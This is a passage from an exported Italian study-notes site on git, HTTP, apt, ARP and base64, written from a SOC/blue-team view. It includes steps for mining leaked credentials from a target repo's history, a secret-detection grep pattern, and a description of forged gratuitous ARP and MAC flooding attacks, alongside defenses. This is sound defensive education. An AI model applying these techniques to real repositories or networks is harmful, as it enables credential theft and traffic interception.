\u0026lt;hash-commit\u0026gt; # applica quel commit sul branch corrente git cherry-pick A..F # range di commit git cherry-pick --no-commit # applica le modifiche senza creare il commit git cherry-pick --abort # annulla se ci sono conflitti Tip Scenario tipico: hai una hotfix su feature che serve subito su main, ma non vuoi portare tutto il branch — prendi solo quel commit con cherry-pick.\nReset # Sposta HEAD indietro nella storia. Tre modalità con impatto crescente sui file di lavoro.\ngit reset --soft HEAD~1 # annulla il commit → file restano in staging git reset --mixed HEAD~1 # annulla il commit → file tornano a untracked git reset --hard HEAD~1 # annulla il commit → file cancellati Prima del reset:\ngitGraph commit id: \"A\" commit id: \"B\" commit id: \"C\" Dopo git reset HEAD~1:\ngitGraph commit id: \"A\" commit id: \"B\" Modalità Commit Staging File di lavoro --soft ✗ annullato ✓ conservato ✓ conservato --mixed ✗ annullato ✗ svuotato ✓ conservato --hard ✗ annullato ✗ svuotato ✗ cancellato Warning --hard cancella le modifiche ai file in modo irreversibile. L'unico modo per recuperare è git reflog — ma solo se il commit esisteva già prima del reset.\n# Recuperare un commit perso dopo reset --hard git reflog # trova l\u0026#39;hash del commit perso git checkout \u0026lt;hash\u0026gt; # ispeziona git cherry-pick \u0026lt;hash\u0026gt; # o ripristina sul branch corrente Rename file/cartella # git mv vecchio-nome.md nuovo-nome.md git add . git commit -m \u0026#34;rename: vecchio-nome → nuovo-nome\u0026#34; Su macOS il filesystem è case-insensitive — git non vede il rename guide → Guide. Fix:\ngit mv guide guide_temp git mv guide_temp Guide git add . git commit -m \u0026#34;fix: rename guide → Guide\u0026#34; Note Su macOS il filesystem è case-insensitive: git non rileva il rename guide → Guide. Usa sempre git mv con passaggio intermedio _temp.\nSubmodule # Un submodule è un repo Git dentro un altro repo Git. Il repo padre non traccia i file del submodule — traccia solo un puntatore al commit specifico.\n# Struttura tipica cyber-appunti/ ← repo padre (pubblico, Hugo) ├── themes/ │ └── dark-theme-editor/ ← submodule (repo del tema) ├── content/ │ └── notes/ ← submodule (repo Obsidian privato) └── hugo.toml Aggiungere un submodule # git submodule add https://github.com/user/repo.git path/destinazione git commit -m \u0026#34;feat: aggiunto submodule X\u0026#34; Clonare un repo con submodule # # I submodule arrivano vuoti dopo il clone git clone \u0026lt;url\u0026gt; git submodule update --init # popola i submodule git submodule update --init --recursive # submodule annidati Important Dopo git clone i submodule arrivano vuoti — esegui sempre git submodule update --init per popolarli.\nGit Clone e SCP La sintassi host:porta/path ricorda scp perché entrambi usano lo stesso protocollo — SSH. scp usa : per separare host da path, git SSH usa la stessa convenzione nell'URL.\nAggiornare un submodule # git submodule update --remote path/submodule # aggiorna all\u0026#39;ultimo commit remoto git add . git commit -m \u0026#34;update: submodule X aggiornato\u0026#34; Comandi utili # git submodule status # stato di tutti i submodule git submodule foreach git pull # pull in tutti i submodule in un colpo Rimuovere un submodule # git submodule deinit path/submodule git rm path/submodule rm -rf .git/modules/path/submodule git commit -m \u0026#34;remove: submodule X rimosso\u0026#34; Come funziona il puntatore # # repo padre vede: non vede: # .gitmodules ← url + path i file dentro il submodule # commit hash ← ABC123 le modifiche interne Il repo padre sa solo \u0026quot;il submodule deve stare al commit ABC123\u0026quot;. Se il submodule avanza di 3 commit, il padre non si aggiorna da solo — devi fare git submodule update --remote + commit nel padre.\nUn repo pubblico ha rimosso una API key — ma la storia e' permanente:\ngit clone https://github.com/target/repo git log --all --oneline # cerca commit tipo \u0026#34;remove credentials\u0026#34;, \u0026#34;fix config\u0026#34; git show abc1234 # mostra il contenuto di quel commit Se trovi password=, api_key=, SECRET= → segreto esposto Prima di pushare, verifica che non ci siano segreti:\ngit diff --staged | grep -i \u0026#34;password\\|secret\\|key\\|token\u0026#34; Secret scanning — segreti nella storia # Un segreto committato anche una sola volta resta recuperabile per sempre, anche se rimosso nel commit successivo.\n# Ispeziona la storia cercando commit sospetti git log --all --oneline # cerca messaggi tipo: \u0026#34;fix info leak\u0026#34;, \u0026#34;remove credentials\u0026#34;, \u0026#34;fix config\u0026#34; # Metodo 1 — mostra il diff di un commit specifico git show abc1234 # Metodo 2 — confronta due commit esplicitamente git diff abc1234 def5678 # Verifica prima del push git diff --staged | grep -i \u0026#34;password\\|secret\\|key\\|token\\|api\u0026#34; Strumenti automatici per la scansione: truffleHog, gitleaks, git-secrets.\nWarning Un segreto pushato va considerato compromesso, sempre. La pulizia della storia con git filter-repo e' igiene, non sicurezza. L'unica azione corretta e' ruotare immediatamente la credenziale.\n.git/objects — il database fisico # Tutto cio' che git traccia — file, directory, commit — viene salvato in .git/objects/ come oggetto compresso identificato dal suo hash SHA-1. Sono\n.git/objects/ ├── d0/ │ └── cf2ab7dd7e... # il commit con la password — sempre qui ├── b0/ │ └── 354c7be30f... # il commit \u0026#34;fix info leak\u0026#34; └── pack/ # oggetti compressi insieme dopo git gc Quando fai git clone, git copia tutti questi oggetti sul tuo disco. Quando fai force push, cambi solo i puntatori sul remote — gli oggetti nelle copie locali restano finche' git gc non li pulisce.\n# Vedere tutti gli oggetti nel database locale git cat-file --batch-all-objects --batch-check - `.pack` — gli oggetti compressi (i dati reali: commit, system, alberi) - `.idx` — l\u0026#39;indice per trovare velocemente un oggetto nel pack per hash - `.rev` — indice inverso, da posizione nel pack → hash # Forzare la pulizia degli oggetti non referenziati git gc --prune=now Note git gc rimuove solo gli oggetti non piu' referenziati da nessun branch o tag. Se un collega non ha ancora allineato il suo branch al remote dopo il force push, l'oggetto con la password e' ncora referenziato nella sua storia locale — git gc non lo tocca.\nCaso reale # Un developer pusho' credenziali AWS su GitHub pubblico. Se ne accorse dopo 4 minuti e fece force push immediato. Bot automatici scansionano GitHub in tempo reale cercando pattern di API key. In quei 4 minuti il bot aveva gia' trovato le credenziali, creato istanze EC2 e iniziato a minare criptovaluta. Costo sulla fattura AWS: ~50.000 dollari. Il force push aveva pulito il repository. .git/objects/ sul server del bot aveva ancora tutto.\nCollegato a # system — categoria ssh — git usa SSH per autenticazione remota ","date":"17 marzo 2026","externalUrl":null,"permalink":"/comandi/git/","section":"Comandi","summary":"Sistema di version control distribuito. Traccia modifiche ai file nel tempo, permette collaborazione, branching e rollback. Ogni sviluppatore ha una copia completa del repository, inclusa tutta la storia.","title":"git - sistema di controllo versione distribuito","type":"comandi"},{"content":" Cosa fa # Il protocollo HTTP definisce come client e server si scambiano richieste e risposte sul web — metodi, status code, header, cookie.\nHTTP vs HTTPS # HTTP — HyperText Transfer Protocol Sviluppato da Tim Berners-Lee, 1989-1991 Dati in chiaro → chiunque sulla rete può leggerli HTTPS — HTTP Secure Dati cifrati → nessuno può intercettare Verifica identità del server → non stai parlando con un impostore ┌─────────────────────────────────────────────────────────┐ │ HTTP porta 80 ← traffico leggibile da Wireshark │ │ HTTPS porta 443 ← traffico cifrato (TLS) │ └─────────────────────────────────────────────────────────┘ Blue team: traffico HTTP su porta 80 in un log è sempre sospetto su sistemi moderni — potrebbe essere exfiltration o C2 che evita l\u0026#39;ispezione TLS. Anatomia di un URL # http://user:password@tryhackme.com:80/view-room?id=1#task3 │ │ │ │ │ │ │ │ │ │ │ │ │ └── Fragment │ │ │ │ │ └─────── Query String │ │ │ │ └─────────────── Path │ │ │ └───────────────────── Port │ │ └─────────────────────────────── Host / Domain │ └────────────────────────────────────────────── User:Password └──────────────────────────────────────────────────────── Scheme Scheme: protocollo da usare (http, https, ftp) User:Pass: autenticazione inline (raro, sconsigliato — password in chiaro nell\u0026#39;URL) Host: dominio o IP del server Port: 80=HTTP, 443=HTTPS, qualsiasi 1-65535 Path: risorsa richiesta sul server Query String: parametri aggiuntivi (?id=1 → dammi il blog con id 1) Fragment: ancora interna alla pagina (#task3 → scorri a task3) NON viene inviato al server, è solo lato browser Struttura di una richiesta HTTP # Richiesta minimale (funziona ma è scarna): GET / HTTP/1.1 └─┘ └┘ └──────── versione protocollo │ └────────── path (/ = homepage) └────────────── metodo Richiesta completa: ┌─────────────────────────────────────────────────────┐ │ GET / HTTP/1.1 │ ← riga di richiesta │ Host: tryhackme.com │ ← quale sito voglio │ User-Agent: Mozilla/5.0 Firefox/87.0 │ ← chi sono │ Referer: https://tryhackme.com/ │ ← da dove vengo │ │ ← riga vuota = fine headers └─────────────────────────────────────────────────────┘ La riga vuota finale è obbligatoria — dice al server \u0026#34;ho finito gli header, quello che segue è il body\u0026#34;. Senza → il server aspetta per sempre. Struttura di una risposta HTTP # ┌─────────────────────────────────────────────────────┐ │ HTTP/1.1 200 OK │ ← versione + status code │ Server: nginx/1.15.8 │ ← software server │ Date: Fri, 09 Apr 2021 13:34:03 GMT │ ← timestamp server │ Content-Type: text/html │ ← tipo di contenuto │ Content-Length: 98 │ ← byte del body │ │ ← riga vuota = fine headers │ \u0026lt;html\u0026gt; │ │ \u0026lt;body\u0026gt;Welcome To TryHackMe.com\u0026lt;/body\u0026gt; │ ← body (contenuto) │ \u0026lt;/html\u0026gt; │ └─────────────────────────────────────────────────────┘ Content-Length è critico per la sicurezza: se il client riceve meno byte del dichiarato → dati mancanti se manipolato → HTTP Request Smuggling (vulnerabilità avanzata) Metodi HTTP # GET → leggo una risorsa \u0026#34;dammi la pagina /blog\u0026#34; POST → creo una risorsa \u0026#34;crea questo nuovo utente\u0026#34; PUT → aggiorno una risorsa \u0026#34;aggiorna l\u0026#39;email dell\u0026#39;utente 5\u0026#34; DELETE → cancello una risorsa \u0026#34;cancella la foto con id 3\u0026#34; ┌──────────┬────────────┬──────────────────────────────────┐ │ Metodo │ Body? │ Uso tipico │ ├──────────┼────────────┼──────────────────────────────────┤ │ GET │ no │ leggere pagine, API read │ │ POST │ sì │ login, form, creare risorse │ │ PUT │ sì │ aggiornare risorse esistenti │ │ DELETE │ raramente │ cancellare risorse │ └──────────┴────────────┴──────────────────────────────────┘ Blue team: un DELETE o PUT inatteso nei log HTTP è sempre da investigare — potrebbe essere un attacco a un\u0026#39;API esposta senza autenticazione. Status Codes # 1xx Informational → \u0026#34;continua, sto elaborando\u0026#34; (raro) 2xx Success → \u0026#34;tutto ok\u0026#34; 3xx Redirection → \u0026#34;cerca altrove\u0026#34; 4xx Client Error → \u0026#34;hai sbagliato tu\u0026#34; 5xx Server Error → \u0026#34;ho sbagliato io\u0026#34; Codici comuni:\nCode Nome Significato Note blue team 200 OK Tutto ok — 201 Created Risorsa creata Risposta normale a POST 301 Moved Permanently Redirect permanente Aggiorna bookmark/SEO 302 Found Redirect temporaneo Potrebbe cambiare ancora 400 Bad Request Richiesta malformata Parametro mancante o errato 401 Unauthorised Non autenticato Devi fare login prima 403 Forbidden Autenticato ma non autorizzato Hai login ma non il permesso 404 Not Found Risorsa non esiste — 405 Method Not Allowed Metodo sbagliato GET su endpoint che vuole POST 500 Internal Server Error Errore generico server Spesso rivela stack trace 503 Service Unavailable Server sovraccarico o in manutenzione — 401 vs 403 — differenza importante: 401 Unauthorised → \u0026#34;Non so chi sei, fai login\u0026#34; 403 Forbidden → \u0026#34;So chi sei, ma non puoi entrare\u0026#34; Blue team: un flood di 401 nei log = brute force in corso un 403 su /admin = qualcuno sta cercando pannelli nascosti Risorsa visiva: https://http.cat — ogni status code ha la foto di un gatto. Ridicolo e impossibile da dimenticare. (https://http.cat/404 → gatto che cerca qualcosa che non c'è)\nHeader HTTP # Request headers (client → server):\nHeader Cosa fa Nota security Host Quale sito vuoi (server può ospitare più domini) Virtual host enumeration User-Agent Browser e versione Facilmente falsificabile — non fidarti per autenticazione Content-Length Byte nel body Manipolato → HTTP smuggling Accept-Encoding Compressioni supportate (gzip, br) — Cookie Dati sessione inviati al server Se rubato → session hijacking Referer Pagina da cui viene la richiesta Facilmente falsificabile Response headers (server → client):\nHeader Cosa fa Nota security Set-Cookie Dice al browser di salvare un cookie Deve avere HttpOnly e Secure Cache-Control Per quanto tenere in cache Dati sensibili: no-store Content-Type Tipo di dato restituito MIME sniffing se mancante Content-Encoding Compressione usata — Server Software del server (nginx, Apache) Info disclosure — meglio oscurare Header di sicurezza che DOVRESTI vedere su ogni sito moderno: Strict-Transport-Security → forza HTTPS X-Frame-Options → blocca clickjacking Content-Security-Policy → whitelist risorse caricate X-Content-Type-Options → blocca MIME sniffing Se mancano → vulnerability nel tuo report di assessment. Cookie e Sessioni # HTTP è stateless — ogni richiesta è indipendente, il server non ricorda la precedente. I cookie risolvono questo problema.\nFLUSSO LOGIN CON COOKIE: 1. GET / HTTP/1.1 browser visita il sito Host: cookies.thm User-Agent: xxxx │ ▼ HTTP/1.1 200 OK server risponde con form Content-Type: text/html [HTML con form login] 2. POST / HTTP/1.1 utente invia credenziali Host: cookies.thm Content-Type: application/x-www-form-urlencoded Content-Length: 9 [name=adam] │ ▼ HTTP/1.1 200 OK server imposta il cookie Set-Cookie: name=adam ← \u0026#34;salvati questo\u0026#34; Content-Type: text/html 3. GET / HTTP/1.1 richiesta successiva Host: cookies.thm Cookie: name=adam ← browser lo manda automaticamente │ ▼ HTTP/1.1 200 OK [\u0026lt;html\u0026gt;Welcome back adam\u0026lt;/html\u0026gt;] server riconosce l\u0026#39;utente Il cookie NON contiene la password in chiaro. Contiene un token opaco (es. session_id=a3f9b2c1d...) Il server fa il lookup del token nel proprio database. Cookie sicuro vs insicuro: Set-Cookie: session=abc123 ← INSICURO Set-Cookie: session=abc123; HttpOnly; Secure ← SICURO HttpOnly → JavaScript non può leggere il cookie → blocca XSS Secure → inviato solo su HTTPS → blocca intercettazione SameSite → blocca CSRF (invio cross-site) Blue team: cookie senza HttpOnly = superficie di attacco XSS cookie senza Secure su HTTP = visibile in chiaro su Wireshark Vedere i cookie nel browser # DevTools (F12) → tab Network → clicca su una richiesta → tab Cookies Oppure: DevTools → tab Application → Storage → Cookies Scenario Reale # Un analista SOC vede nei log del WAF un picco di richieste:\n192.168.1.45 POST /login HTTP/1.1 401 -- 192.168.1.45 POST /login HTTP/1.1 401 -- 192.168.1.45 POST /login HTTP/1.1 401 -- ... (500 volte in 2 minuti) 192.168.1.45 POST /login HTTP/1.1 200 -- ← login riuscito 192.168.1.45 GET /admin HTTP/1.1 200 -- ← accesso admin Sequenza: flood di 401 → un 200 → accesso a risorsa privilegiata. Questo è credential stuffing / brute force riuscito. Il cookie di sessione emesso dopo il 200 è ora in mano all'attaccante.\nCollegato a # network — hub tcp-udp — HTTP gira su TCP http-wireshark — come appare HTTP in Wireshark (TCP segmentation, MSS) ssl-tls — HTTPS = HTTP + TLS ctf — hub ","date":"17 marzo 2026","externalUrl":null,"permalink":"/concetti/http-in-detail/","section":"Concetti","summary":"Protocollo HTTP: struttura URL, metodi, status code, header, cookie e sessioni. Prospettiva applicativa.","title":"HTTP in Detail","type":"concetti"},{"content":"","date":"17 marzo 2026","externalUrl":null,"permalink":"/tags/search/","section":"Tags","summary":"","title":"Search","type":"tags"},{"content":" Cosa fa # Gestore di pacchetti standard per distribuzioni basate su Debian (Ubuntu, Kali). Serve per installare, aggiornare, rimuovere e gestire il software di sistema.\nSintassi # sudo apt [comando] [pacchetto]\nComandi essenziali # Comando Cosa fa Note Blue Team sudo apt update Aggiorna l'indice dei pacchetti Da lanciare sempre prima di installare tool di analisi. sudo apt upgrade Aggiorna i pacchetti installati Fondamentale per il patching delle vulnerabilità. sudo apt install \u0026lt;pkg\u0026gt; Installa un nuovo software Es: sudo apt install wireshark. sudo apt remove \u0026lt;pkg\u0026gt; Rimuove un pacchetto — apt search \u0026lt;testo\u0026gt; Cerca nei repository Utile per trovare tool specifici (es. apt search forensic). apt list --installed Elenca i pacchetti presenti Cruciale in fase di Post-Exploitation o Auditing. Combinazioni utili # # Aggiorna gli indici e applica le patch di sicurezza in un colpo solo sudo apt update \u0026amp;\u0026amp; sudo apt upgrade -y # Audit pacchetti installati — ricerca post-compromise dpkg -l # lista dettagliata con versioni dpkg -l | grep -v \u0026#34;^ii\u0026#34; # pacchetti non correttamente installati dpkg -L nomepacchetto # dove sono i file di un pacchetto apt list --installed 2\u0026gt;/dev/null | grep -v automatic # solo pacchetti manuali Scenario Reale # Durante la messa in sicurezza (Hardening) di una workstation, un analista deve rimuovere i software non necessari per ridurre la superficie di attacco. Utilizza apt list --installed per identificare servizi superflui e sudo apt purge \u0026lt;nome\u0026gt; per rimuoverli insieme ai file di configurazione.\nIn un sistema sospetto, dpkg -l | grep -v \u0026quot;^ii\u0026quot; mostra pacchetti in stato anomalo — un attaccante che installa manualmente un binario senza usare apt lascia tracce diverse da quelle standard.\nDove l'ho usato # progetto-lab-vm — Installazione spice-vdagent e tool di rete. Note personali # Attenzione: apt è l'interfaccia user-friendly, mentre dpkg è il motore sottostante. Se apt si blocca per problemi di dipendenze, spesso bisogna intervenire con dpkg --configure -a.\nCollegato a # system — categoria (Hub) spice-vdagent — tool installato ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/apt/","section":"Comandi","summary":"Gestore di pacchetti standard per distribuzioni basate su Debian (Ubuntu, Kali). Serve per installare, aggiornare, rimuovere e gestire il software di sistema.","title":"apt - gestione pacchetti Debian/Ubuntu","type":"comandi"},{"content":" Cos'è # Protocollo che traduce indirizzi IP (Layer 3) in indirizzi MAC (Layer 2). Quando un dispositivo vuole comunicare con un IP nella stessa subnet, usa ARP per scoprire il MAC address corrispondente prima di poter inviare i dati.\nNote Frame = unita' dati del Layer 2 (Ethernet). Ogni layer ha il suo nome: Layer 4 = Segment/Datagram, Layer 3 = Packet, Layer 2 = Frame, Layer 1 = Bit. Un frame Ethernet contiene MAC sorgente, MAC destinazione, tipo e payload (il pacchetto IP dentro). Lo switch legge solo il MAC del frame — non guarda mai l'IP.\nIl problema che risolve # Layer 3 (IP) → sa dove vuole andare: 192.168.1.20 Layer 2 (MAC) → non conosce IP — lavora solo con MAC Domanda: come trovo il MAC di 192.168.1.20? Risposta: ARP Come funziona # [PC A] [BROADCAST] [PC B] 192.168.1.10 192.168.1.20 AA:BB:CC:11:22:33 DD:EE:FF:44:55:66 │ │ │── ARP Request ────────────────────────────────►│ │ \u0026#34;Chi ha 192.168.1.20? │ │ Rispondimi — sono AA:BB:CC:11:22:33\u0026#34; │ │ (tutti ricevono) │ │ │ │◄── ARP Reply ───────────────────────────────── │ │ \u0026#34;Sono io — DD:EE:FF:44:55:66\u0026#34; │ │ │ │ salva in ARP cache: │ │ 192.168.1.20 → DD:EE:FF:44:55:66 │ ARP Cache # # Visualizza la ARP cache locale arp -a # Output esempio: 192.168.1.1 → 00:11:22:33:44:55 [router] 192.168.1.20 → DD:EE:FF:44:55:66 [PC B] 192.168.1.30 → AA:BB:CC:77:88:99 [stampante] La cache evita di fare ARP request ad ogni pacchetto. Le entry scadono dopo qualche minuto — ARP viene rifatto automaticamente.\nI due MAC address nel pacchetto ARP # Quando il PC non conosce il MAC di destinazione, il pacchetto ARP contiene due indirizzi MAC con significati diversi:\nPACCHETTO ARP REQUEST ┌─────────────────────────────────────────────────┐ │ Header Ethernet │ │ MAC src: AA:BB:CC:11:22:33 (il mio MAC) │ │ MAC dst: ff:ff:ff:ff:ff:ff (broadcast) │ ← frame Ethernet ├─────────────────────────────────────────────────┤ │ Payload ARP │ │ Sender MAC: AA:BB:CC:11:22:33 │ │ Sender IP: 192.168.1.5 │ │ Target MAC: 00:00:00:00:00:00 │ ← \u0026#34;non lo so ancora\u0026#34; │ Target IP: 192.168.1.10 │ └─────────────────────────────────────────────────┘ ff:ff:ff:ff:ff:ff → indirizzo broadcast Ethernet il frame viene consegnato a TUTTI i dispositivi della LAN dallo switch 00:00:00:00:00:00 → campo \u0026#34;Target MAC\u0026#34; nel payload ARP significa: \u0026#34;questa è l\u0026#39;informazione che cerco\u0026#34; non è un indirizzo reale — è un placeholder Sono due livelli distinti che fanno due cose diverse:\nff:ff:ff:ff:ff:ff — dice allo switch \u0026quot;manda a tutti\u0026quot; (Layer 2) 00:00:00:00:00:00 — dice al destinatario \u0026quot;dimmi il tuo MAC\u0026quot; (payload ARP) CAM Table — come lo switch decide dove mandare il frame # Lo switch non manda il traffico in broadcast per tutto il traffico normale — solo quando non conosce la destinazione. Per decidere quale porta usare, mantiene una CAM table (Content Addressable Memory):\nCAM TABLE DELLO SWITCH ┌──────────────────┬──────────┬──────────┐ │ MAC Address │ Porta │ Scade │ ├──────────────────┼──────────┼──────────┤ │ AA:BB:CC:11:22:33│ Porta 1 │ 5 min │ ← PC A │ DD:EE:FF:44:55:66│ Porta 3 │ 5 min │ ← PC B │ 00:11:22:33:44:55│ Porta 8 │ 5 min │ ← Router └──────────────────┴──────────┴──────────┘ Logica dello switch quando riceve un frame:\nFrame in arrivo → legge MAC destinazione │ ┌──────────┴──────────┐ │ │ MAC noto in MAC sconosciuto CAM table │ │ ▼ ▼ Flooding: manda Manda solo su TUTTE le porte sulla porta tranne quella giusta di ingresso Il MAC broadcast ff:ff:ff:ff:ff:ff non è mai nella CAM table — per definizione viene sempre mandato su tutte le porte (flooding).\nNote MAC Flooding attack: un attaccante inonda lo switch con frame da MAC sorgenti sempre diversi — la CAM table si riempie e lo switch inizia a fare flooding di tutto il traffico su tutte le porte. Risultato: l'attaccante vede il traffico di tutti.\nComandi utili # Comando Flag Significato flag Cosa fa Quando usarlo arp -n -n numeric — non risolvere hostname Mostra ARP table con IP numerici Diagnosi veloce arp -a -n -a all, -n numeric tutti i dispositivi, no DNS Equivalente macOS di arp -n Su macOS ip neighbor show — — ARP table con stato entry Vedere REACHABLE, STALE, FAILED ip n flush dev eth0 flush svuota, dev device cancella entries sull'interfaccia Svuota ARP cache Dopo ARP poisoning sospetto sudo tcpdump -i eth0 arp -i interface, arp filtro cattura solo ARP Traffico ARP in tempo reale Rilevare \u0026quot;Who has\u0026quot; anomali sudo arp-scan -l -l local scansiona rete locale Inventario host via ARP Scoprire dispositivi sconosciuti sudo arping -I eth0 192.168.1.1 -I Interface specifica interfaccia ARP request a IP specifico Verificare se host è attivo # Vedere la ARP table con stato ip neighbor show # 192.168.64.1 dev eth0 lladdr 72:8c:f2:1b:c8:64 REACHABLE # 192.168.64.3 dev eth0 lladdr b6:56:08:90:16:03 STALE # Catturare ARP in tempo reale sudo tcpdump -i eth0 arp -n # ARP request: who-has 192.168.64.3 tell 192.168.64.200 # ARP reply: 192.168.64.3 is-at b6:56:08:90:16:03 # Inventario LAN sudo arp-scan -l # 192.168.64.1 72:8c:f2:1b:c8:64 (Unknown) # 192.168.64.3 b6:56:08:90:16:03 (Unknown) Tip ip neighbor show è più utile di arp -n perché mostra lo stato della entry: REACHABLE (comunicato di recente), STALE (obsoleto), FAILED (non raggiungibile). In un'investigazione, una entry che passa da REACHABLE a un MAC diverso è un segnale di ARP poisoning.\nI due MAC address nel pacchetto ARP # Quando il PC non conosce il MAC di destinazione, il pacchetto ARP contiene due indirizzi MAC con significati diversi:\nPACCHETTO ARP REQUEST ┌─────────────────────────────────────────────────┐ │ Header Ethernet │ │ MAC src: AA:BB:CC:11:22:33 (il mio MAC) │ │ MAC dst: ff:ff:ff:ff:ff:ff (broadcast) │ ← frame Ethernet ├─────────────────────────────────────────────────┤ │ Payload ARP │ │ Sender MAC: AA:BB:CC:11:22:33 │ │ Sender IP: 192.168.1.5 │ │ Target MAC: 00:00:00:00:00:00 │ ← \u0026#34;non lo so ancora\u0026#34; │ Target IP: 192.168.1.10 │ └─────────────────────────────────────────────────┘ ff:ff:ff:ff:ff:ff → broadcast Ethernet — lo switch manda a TUTTI 00:00:00:00:00:00 → placeholder nel payload ARP significa: \u0026#34;questa e\u0026#39; l\u0026#39;informazione che cerco\u0026#34; Come leggere il pacchetto ARP in Wireshark:\nOpcode: request (1) → ARP Request Opcode: reply (2) → ARP Reply CAM Table — come lo switch decide dove mandare il frame # Lo switch mantiene una CAM table (Content Addressable Memory) per sapere su quale porta si trova ogni MAC address:\nCAM TABLE DELLO SWITCH ┌──────────────────┬──────────┬──────────┐ │ MAC Address │ Porta │ Scade │ ├──────────────────┼──────────┼──────────┤ │ AA:BB:CC:11:22:33│ Porta 1 │ 5 min │ ← PC A │ DD:EE:FF:44:55:66│ Porta 3 │ 5 min │ ← PC B │ 00:11:22:33:44:55│ Porta 8 │ 5 min │ ← Router └──────────────────┴──────────┴──────────┘ Logica dello switch:\nFrame in arrivo → legge MAC destinazione │ ┌──────────┴──────────┐ │ │ MAC noto MAC sconosciuto in CAM │ │ ▼ ▼ Flooding: manda su Solo sulla TUTTE le porte porta giusta tranne ingresso Il MAC broadcast ff:ff:ff:ff:ff:ff viene sempre flooded — per definizione.\nWarning MAC Flooding attack: un attaccante inonda lo switch con frame da MAC sorgenti sempre diversi — la CAM table si riempie e lo switch inizia a fare flooding di tutto il traffico su tutte le porte. Risultato: l'attaccante vede il traffico di tutti i dispositivi.\nGratuitous ARP — ARP non richiesto # Un Gratuitous ARP e' un pacchetto ARP mandato in broadcast dove Sender IP e Target IP sono lo stesso indirizzo:\nSender MAC: 00:03:47:b7:f2:f5 Sender IP: 24.6.125.19 Target MAC: 00:00:00:00:00:00 Target IP: 24.6.125.19 ← stesso IP del sender Tutti i dispositivi che ricevono questo pacchetto aggiornano la loro ARP cache con la nuova associazione IP→MAC, senza che nessuno lo abbia chiesto.\nUsi legittimi:\n1. Cambio IP: il dispositivo aveva 192.168.1.10, ora ha .20 annuncia il cambio a tutta la LAN 2. Avvio sistema: il dispositivo si accende e annuncia la sua presenza 3. Load balancing: se un server cade, l\u0026#39;altro manda Gratuitous ARP per reindirizzare il traffico verso se stesso Uso malevolo — come costruisce il pacchetto un attaccante:\nObiettivo: far credere a tutti che il gateway (192.168.0.1) sia lui Pacchetto Gratuitous ARP falso: Sender MAC: MAC_attaccante Sender IP: 192.168.0.1 ← IP del gateway Target IP: 192.168.0.1 ← stesso Risultato su ogni dispositivo della LAN: 192.168.0.1 → MAC_attaccante ← cache avvelenata Tutto il traffico verso internet passa dall\u0026#39;attaccante Differenza tra Gratuitous ARP e ARP Poisoning normale:\nARP Poisoning normale → manda ARP Reply non richiesta Gratuitous ARP falso → manda ARP Request con IP src=IP target Risultato: → identico, entrambi avvelenano la cache Tip In Wireshark il Gratuitous ARP appare con il flag [Is gratuitous: True] nel dettaglio del pacchetto ARP. Un numero elevato di Gratuitous ARP da indirizzi sconosciuti e' un segnale di ARP poisoning in corso.\nARP Poisoning — l'attacco # SCENARIO NORMALE: PC A chiede: \u0026#34;Chi ha 192.168.1.1 (gateway)?\u0026#34; Router risponde: \u0026#34;Sono io — MAC 00:11:22:33:44:55\u0026#34; ATTACCO ARP POISONING: Attaccante manda ARP Reply falsa senza che nessuno abbia chiesto: \u0026#34;192.168.1.1 sono io — MAC FF:FF:FF:AA:AA:AA\u0026#34; ← FALSO PC A aggiorna la cache: 192.168.1.1 → FF:FF:FF:AA:AA:AA ← ora punta all\u0026#39;attaccante Tutto il traffico di PC A verso internet passa prima dall\u0026#39;attaccante → MITM completo [PC A] ──────────► [Attaccante] ──────────► [Router] ──► Internet crede di legge tutto, parlare col poi passa avanti router (o no) Perché ARP è vulnerabile # ARP non ha autenticazione — accetta qualsiasi risposta Non verifica se qualcuno ha davvero chiesto \u0026quot;Gratuitous ARP\u0026quot; = ARP Reply non richiesta usata legittimamente per aggiornare cache usata malevolmente per avvelenare cache\nDifese Blue Team # DAI — Dynamic ARP Inspection switch managed verifica ogni ARP packet confronta con DHCP snooping table se MAC/IP non corrispondono → pacchetto scartato\nARP cache statica per dispositivi critici (gateway, server) imposta manualmente MAC → IP non può essere avvelenata\nMonitoraggio anomalie stesso IP con MAC diversi nel tempo → sospetto molte ARP Reply non richieste → possibile attacco\nScenario Reale # Un analista SOC vede traffico anomalo — un utente si lamenta che la connessione è lenta e alcune sessioni si disconnettono. L'analista cattura traffico con Wireshark: vede decine di ARP Reply non richieste che mappano il gateway su un MAC sconosciuto. È ARP poisoning — qualcuno nella LAN sta intercettando tutto il traffico. Identifica il MAC attaccante, lo traccia alla porta dello switch, isola il dispositivo.\nDove l'ho incontrato # network-fundamentals — TryHackMe modulo 2 icmp-mac-ip — MAC address e Layer 2 osi-model — ARP opera tra Layer 2 e Layer 3 Collegato a # network — categoria icmp-mac-ip — MAC address che ARP risolve osi-model — il \u0026quot;ponte\u0026quot; tra Layer 2 e Layer 3 lan-topologies — ARP funziona solo nella stessa LAN dhcp — DHCP snooping usato insieme a DAI per difendersi ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/arp/","section":"Concetti","summary":"Protocollo che traduce indirizzi IP (Layer 3) in indirizzi MAC (Layer 2). Quando un dispositivo vuole comunicare con un IP nella stessa subnet, usa ARP per scoprire il MAC address corrispondente prima di poter inviare i dati.","title":"ARP - Address Resolution Protocol","type":"concetti"},{"content":" Cosa fa # Codifica e decodifica file o flussi di dati in formato testuale ASCII a 64 caratteri.\nSintassi # base64 [opzioni] [file]\nComandi essenziali # Comando Flag Cosa fa base64 data.txt (nessuno) Codifica il contenuto del file in stringa Base64. base64 -d data.txt -d (decode) Decodifica una stringa Base64 nel dato originale. base64 -i -i (ignore) Ignora i caratteri non-alfabetici (utile per stringhe con \u0026quot;sporcizia\u0026quot;). base64 -w 0 -w (wrap) Disabilita l'andata a capo automatica (fondamentale per script). Combinazioni utili # # Decodifica una stringa passata via echo echo \u0026#34;VGhlIHBhc3N3b3Jk\u0026#34; | base64 -d # Decodifica il file data.txt e cerca una parola specifica nel risultato base64 -d \u0026lt; data.txt | grep \u0026#34;password\u0026#34; cenario Reale # Un analista SOC trova uno script PowerShell sospetto che contiene una stringa lunghissima e apparentemente senza senso. Gli attaccanti usano Base64 per nascondere i loro comandi ai sistemi di rilevamento basati su firma. L'analista usa base64 -d per rivelare il vero intento dello script (es. il download di un ransomware).\nDove l'ho usato # bandit-10 — per decodificare la password del livello successivo. Note personali # Attenzione al padding: se vedi = o == alla fine di una stringa, è quasi certamente Base64. Ricorda che la codifica NON è cifratura; chiunque può leggere il contenuto senza 